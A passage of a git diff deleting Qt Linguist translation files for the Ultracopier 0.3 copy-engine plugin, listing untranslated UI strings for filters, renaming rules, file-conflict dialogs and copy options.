- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/pt/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/pt/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/pt/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
